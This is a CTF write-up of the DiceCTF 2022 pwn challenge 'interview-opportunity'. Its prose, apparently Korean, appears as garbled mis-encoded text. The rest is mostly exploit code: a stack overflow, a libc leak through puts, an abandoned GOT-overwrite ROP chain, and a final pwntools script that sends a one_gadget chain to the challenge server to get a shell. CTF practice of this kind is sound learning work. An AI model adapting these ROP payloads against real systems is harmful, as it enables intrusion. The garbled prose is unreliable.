CTF

[DiceCTF] interview-opportunity

JUNFUTURE 2022. 2. 7. 14:17

DiceCTF 2022 (dicega.ng)

 

DiceCTF 2022

Win $5,000 in prizes from ๐ŸŽฒ DiceCTF 2022, a cybersecurity competition by DiceGang beginning on Feb 4! Solve cryptography, binary exploitation, reversing, and web challenges.

ctf.dicega.ng

DiceCTF์˜ pwnable interview-opportunity ๋ฌธ์ œ๋ฅผ ํ’€์–ด๋ณด์•˜๋‹ค.

 

๋ฌธ์ œํŒŒ์ผ ๋ถ„์„

๋ฌธ์ œ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ libc.so.6 ํŒŒ์ผ์„ ์ œ๊ณตํ•ด์ค€๋‹ค. ๋‚˜๋ฆ„ ์นœ์ ˆํ•˜๋‹ค.

interview_opportunity ๋ฐ”์ด๋„ˆ๋ฆฌ

ida๋ฅผ ์ด์šฉํ•ด ์—ด์–ด๋ณด๋‹ˆ, ๋‹ค์Œ๊ณผ ๊ฐ™์ด buf์—์„œ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ  puts๋กœ ๋ฒ„ํผ์˜ ๋‚ด์šฉ์„ ์ถœ๋ ฅํ•ด์ค€๋‹ค.

๋ฒ„ํผ์˜ ํฌ๊ธฐ๋ฅผ ๋„˜๊ฒŒ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๊ณ , puts์—์„œ buf ๋‚ด์šฉ์„ ์ถœ๋ ฅํ•ด์ค€๋‹ค๋Š” ์ ์—์„œ,

์Šคํƒ ์˜์—ญ์˜ ๋‚ด์šฉ์„ ์ฝ์„ ์ˆ˜ ์žˆ๊ฒ ๋‹ค(leak)๋Š” ์ƒ๊ฐ์ด ๋“ค์—ˆ๋‹ค. 

pwntools๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์—ด์–ด๋ณด๋‹ˆ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ณดํ˜ธ๊ธฐ๋ฒ•๋“ค์ด ์ ์šฉ๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

ํ™œ์„ฑํ™”๋œ ๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ์‚ดํŽด๋ณด๋ฉด

 

Partial RELRO : FULL RELRO๊ฐ€ ์•„๋‹ˆ๊ธฐ ๋•Œ๋ฌธ์—,
=> ํ•จ์ˆ˜ GOT์˜์—ญ์„ ๋ณ€์กฐํ•˜๋Š” ๊ณต๊ฒฉ๋„ ๊ฐ€๋Šฅํ•˜๋‹ค.
(FULL ์ด์—ˆ๋‹ค๋ฉด GOT์˜์—ญ์— ์“ฐ๊ธฐ๊ถŒํ•œ์ด ์—†์–ด์ง€๊ณ , ํ•จ์ˆ˜ hook๋“ฑ์„ ์ด์šฉํ•ด์•ผํ–ˆ๋‹ค.)

 

NX enabled : ์Šคํƒ์˜์—ญ์—์„œ์˜ ์‹คํ–‰๊ถŒํ•œ์ด ์—†๋‹ค.
=> ๊ฐ€์ ฏ์„ ์ฐพ์•„ ์‹คํ–‰๊ถŒํ•œ์ด ์žˆ๋Š” ์˜์—ญ์—์„œ ์•…์˜์ ์ธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ROP๋ฅผ ์ด์šฉํ•ด์•ผํ•œ๋‹ค.

 

๋ณดํ˜ธ๊ธฐ๋ฒ•๊ณผ buf๊ฐ€ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค๋Š” ์ ์„ ์ด์šฉํ•ด,
1. ROP๋ฅผ ์ด์šฉํ•ด์„œ ํ•จ์ˆ˜ GOT์˜์—ญ์„ system์œผ๋กœ ๋ณ€์กฐ ํ›„ ์‹คํ–‰
2. ROP๋ฅผ ์ด์šฉํ•ด One_gadget์‹คํ–‰

 

๋‘๊ฐ€์ง€ ํ’€์ด๋ฒ• ์ •๋„๊ฐ€ ๋– ์˜ฌ๋ž๋‹ค.

 

ํ’€์ด

1. ROP๋ฅผ ์ด์šฉํ•ด์„œ ํ•จ์ˆ˜ GOT์˜์—ญ์„ system์œผ๋กœ ๋ณ€์กฐ ํ›„ ์‹คํ–‰

์ด ๋ฐฉ๋ฒ•์€ ๊ฒฐ๋ก ์ ์œผ๋กœ ๋ถˆ๊ฐ€๋Šฅํ–ˆ๋‹ค.
์™œ๋ƒ๋ฉด read๋กœ buf์— ์ž…๋ ฅํ•˜๋Š” ํฌ๊ธฐ๊ฐ€ 0x46์ธ๋ฐ, ๊ทธ๋งŒํผ ํฐ ๊ฐ€์ ฏ์„ ์ž…๋ ฅํ•  ์ˆ˜ ์—†์—ˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

 

๊ทธ๋ž˜๋„ ๋ฐฉ๋ฒ•์„ ์„ค๋ช…ํ•ด๋ณด์ž๋ฉด,

๋ฆฌํ„ด ์ดํ›„ ๊ฐ€์ ฏ์„ ์ด์šฉํ•ด


1. readํ•จ์ˆ˜ plt๋ฅผ ์ด์šฉํ•ด got๊ฐ’ ์ถœ๋ ฅ

2. ์ด๋ฅผ ์ด์šฉํ•ด libc_base ์ฃผ์†Œ ๊ตฌํ•˜๊ธฐ
3. return to mainํ•˜์—ฌ ๋‹ค์‹œ ํ•จ์ˆ˜ ์•ˆ์— read์—์„œ read ํ•จ์ˆ˜ ํ˜ธ์ถœํ•˜๋Š” ๊ฐ€์ ฏ ์ž…๋ ฅ.
4. ์ด๋•Œ read๋ฅผ ์ด์šฉํ•ด read_got ์œ„์น˜์— system_got๋ฅผ ์ž…๋ ฅ => read(0, [read_got], 0)
5. ์ด๋•Œ "/bin/sh\x00" ๋ฌธ์ž์—ด ์—†๋‹ค๋ฉด ์ด๊ฒƒ๋„ got ์˜์—ญ์— ์ž…๋ ฅ (read_got+0x8์— ์ž…๋ ฅํ•จ)

6. read plt ํ˜ธ์ถœ

 

์™€ ๊ฐ™์€ ํ๋ฆ„์œผ๋กœ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋ ค ํ–ˆ์œผ๋‚˜ ํ•„์š”ํ•œ ๊ฐ€์ ฏ์ด ๋„ˆ๋ฌด ๋งŽ์•„ ์‹คํŒจํ–ˆ๋‹ค. ์ž…๋ ฅํ–ˆ์—ˆ๋˜ ๊ฐ€์ ฏ์€ ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

buf2ret = 10+0x18

#get libc_base
payload = b"A"*buf2ret
# for get read() address - exploit : puts() call
# payload += p64(justret)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt) # puts(read_got) read() address print not call read()
payload += p64(e.symbols["main"])

p.recvuntil("Why should you join DiceGang?")
p.send(payload)

# get read_addr() complete
p.recvn(47)
tmp=p.recvn(6)
read_addr = u64(tmp+b"\x00"*2)
slog("read()", read_addr)

# get libc_base addr complete
libc_base = read_addr - libc.symbols["read"]
slog("lb", libc_base)

# get system() addr complete
system_addr = libc_base + libc.symbols["system"]
slog("system_addr", system_addr)


payload = b"A"*buf2ret
# We can read only 0x46

# read(0, [read_got], 0x10)
payload += p64(justret)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(read_got) + p64(0)
payload += p64(read_plt)
# read input is uhm...

# read("/bin/sh") == system("/bin/sh")
# system("/bin/sh")
payload += p64(justret)
payload += p64(pop_rdi)
payload += p64(read_got+0x8) #"/bin/sh"
payload += p64(read_plt) #[read_got] == system()

2. ROP๋ฅผ ์ด์šฉํ•ด One_gadget์‹คํ–‰

๊ฐ€์ ฏ ๊ฐฏ์ˆ˜ ๋•Œ๋ฌธ์— ๊ฐ€์ ฏ ์ž…๋ ฅ์ด ์ž˜ ์•ˆ๋˜์–ด, one_gadget์„ ์ฐพ์•„๋ณด์•˜๋‹ค.

๋‹คํ–‰ํžˆ๋„ 3๊ฐœ๊ฐ€ ๋‚˜์˜จ๋‹ค. ์ œ์•ฝ์กฐ๊ฑด์„ ์‚ดํŽด๋ณด๋ฉด

 

r12 == NULL

r13 == NULL

rdx == NULL

rsi == NULL

 

4๊ฐœ ์ค‘์— ํ•˜๋‚˜๋งŒ ๋งŒ์กฑ์‹œํ‚ค๋ฉด one_gadget์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

r12 == NULL and r13 == NULL

r12 == NULL and rdx == NULL

rsi == NULL and rdx == NULL

 

3๊ฐœ ์ค‘์— ํ•˜๋‚˜๋งŒ ๋งŒ์กฑ์‹œํ‚ค๋ฉด one_gadget์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

(One_gadget ์ œ์•ฝ ์กฐ๊ฑด ํ•ด์„์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์•„๋ž˜ ๋งํฌ ์ฐธ๊ณ )

https://juntheworld.tistory.com/85?category=983750 

 

One_gadget Constraints (์›๊ฐ€์ ฏ ์ œ์•ฝ์กฐ๊ฑด) ํ•ด์„ํ•˜๊ธฐ

one_gadget ํˆด์„ ์‚ฌ์šฉํ•˜๋‹ค๋ณด๋ฉด ์ถœ๋ ฅ๋˜๋Š” ์ œ์•ฝ์กฐ๊ฑด์ด ์–ด๋–ค ๋œป์ธ์ง€ ํ—ท๊ฐˆ๋ฆด๋•Œ๊ฐ€ ์žˆ๋‹ค. ์•„๋ž˜์™€ ๊ฐ™์€ ๊ฒฝ์šฐ libc-2.31.so ์— ์กด์žฌํ•˜๋Š” constraints๋ฅผ ์ถœ๋ ฅ์‹œ์ผœ๋ณด์•˜๋Š”๋ฐ, jun@ubuntu:~/jun/CTF_CONFIG/libc-database$ one..

juntheworld.tistory.com

์šด์ด ์ข‹๊ฒŒ๋„ "rsi == NULL and rdx == NULL" ์กฐ๊ฑด์—์„œ rdx == NULL์ธ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. 

๋””๋ฒ„๊น…์„ ํ•ด๋ณด์•˜์„๋•Œ, mainํ•จ์ˆ˜๊ฐ€ retํ•˜๋Š” ์‹œ์  (๊ฐ€์ ฏ์„ ์‹คํ–‰ํ•˜๋Š” ์‹œ์ ) ์— ์œ„์˜ 4๊ฐœ ์กฐ๊ฑด ์ค‘ ๋‹จ ํ•˜๋‚˜๋„ ๋งŒ์กฑ๋˜์ง€ ์•Š์•˜๋‹ค. (์žˆ์Œ ๋Œ€๋ฐ•์ธ๋ฐ ์•„์‰ฌ์› ๋‹ค.)

์ด์— pop r12 r13 ๊ฐ€์ ฏ์ด ์žˆ๋‚˜ ์ฐพ์•„๋ณด์•˜๋Š”๋ฐ ๋‹คํ–‰ํžˆ๋„ ์ผ๋‹จ ์žˆ์—ˆ๋‹ค.

์ด์— ํŒจ์ด๋กœ๋“œ๋ฅผ ๋งŒ๋“ค์–ด๋ณด์•˜๋Š”๋ฐ, ๋ฌธ์ œ๊ฐ€ ์žˆ์—ˆ๋‹ค.

og = 0xcbd20
og_addr = libc_base + og
slog("one_gadget", og_addr)

buf2ret = 10+0x18

payload = b"A"*buf2ret
payload += p64(pop_r13_r14_r15)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(og_addr)

์ด๋ ‡๊ฒŒ ๊ฐ€์ ฏ์„ ๊ตฌ์„ฑํ•˜๊ฒŒ ๋˜๋ฉด

์ฒซ๋ฒˆ์งธ ์ค„๋ถ€ํ„ฐ ๊ฐ€์ ฏ๊ธธ์ด๊ฐ€ (0x22+0x8+0x8+0x8+0x8+0x8 = 0x4a)๋กœ

0x46ํฌ๊ธฐ๋ฅผ ๋„˜๊ฒŒ ์ž…๋ ฅํ•ด์•ผํ•œ๋‹ค.

๊ทธ๋ž˜์„œ ์–˜๋„ ์‹คํŒจํ–ˆ๋‹ค.

 

๊ทธ๋ž˜์„œ ๋‹ค๋ฅธ ์กฐ๊ฑด์ธ pop rsi ๊ฐ€์ ฏ์„ ์ฐพ์•„๋ณด์•˜๊ณ 

payload = b"A"*buf2ret
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(og_addr)

์ด๋ ‡๊ฒŒ ๊ตฌ์„ฑํ•˜๊ฒŒ ๋˜๋ฉด (0x22+0x8+0x8+0x8+0x8 = 0x42)๋กœ 0x46์„ ๋„˜์ง€ ์•Š์•„ ์„ฑ๊ณตํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค!

 

from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))

context.log_level = 'debug'

p = remote("mc.ax", 31081)
# p = process("./interview-opportunity")
e = ELF("./interview-opportunity")
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
libc = ELF("./libc.so.6")
# gdb.attach(p)
pop_rdi = 0x0000000000401313
pop_rsi_r15 = 0x0000000000401311
ret2main = 0x0000000000401240
justret = 0x000000000040101a
# [3] Get offset of system
# libc = ELF("./libc.so.6")

read_got = e.got["read"]
read_plt = e.plt["read"]
puts_plt = e.plt["puts"]

buf2ret = 10+0x18

payload = b"A"*buf2ret
# for get read() address - exploit : puts() call
# payload += p64(justret)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt) # puts(read_got) read() address print not call read()
payload += p64(e.symbols["main"])

p.recvuntil("Why should you join DiceGang?")
p.send(payload)

p.recvn(47)
tmp=p.recvn(6)
read_addr = u64(tmp+b"\x00"*2)
slog("read()", read_addr)

libc_base = read_addr - libc.symbols["read"]
slog("lb", libc_base)

og = 0xcbd20
og_addr = libc_base + og
slog("one_gadget", og_addr)

system_addr = libc_base + libc.symbols["system"]
slog("system_addr", system_addr)

payload = b"A"*buf2ret
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(og_addr)
# We can read only 0x46
# read("/bin/sh") == system("/bin/sh")
# read(0, [read_got], 0x10)
# payload += p64(justret)
# payload += p64(pop_rdi)
# payload += p64(0)
# payload += p64(pop_rsi_r15)
# payload += p64(read_got) + p64(0)
# payload += p64(read_plt)
# # read input is uhm...

# # system("/bin/sh")
# # payload += p64(justret)
# payload += p64(pop_rdi)
# payload += p64(read_got+0x8) #"/bin/sh"
# payload += p64(read_plt) #[read_got] == system()

p.recvuntil("Why should you join DiceGang?")
p.send(payload)

# p.send(p64(system_addr)+b"/bin/sh\x00")
p.interactive()

์ตœ์ข… exploit ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

์ „ํ˜•์ ์ธ rop๋ฌธ์ œ์˜€๋‹ค.

 

๊ธฐ์–ตํ•  ์ ๊ณผ ๋ฐฐ์šด ์ 

1. ROP ํ• ๋•Œ ์ž…๋ ฅ๋ฒ„ํผ์˜ ํฌ๊ธฐ๋•Œ๋ฌธ์— ์›ํ•˜๋Š” ๊ฐ€์ ฏ์„ ๋‹ค ๋ชป์“ธ ์ˆ˜๋„์žˆ๋‹ค.
(=> ๊ฐ™์€ ๋‚ด์šฉ์— ์ ์€ ๊ฐ€์ ฏ์„ ์“ธ ์ˆ˜ ์žˆ๋Š” ๊ฒƒ๋„ ๋Šฅ๋ ฅ์ด๋‹ค.)

2. one_gadget์€ ์ œ์•ฝ์กฐ๊ฑด๋งŒ ์ž˜ ๋งž์ถฐ์ฃผ๋ฉด ์ง„์งœ ์ตœ๊ณ ๋‹ค. ๋งˆ๋ฒ•์ด๋‹ค.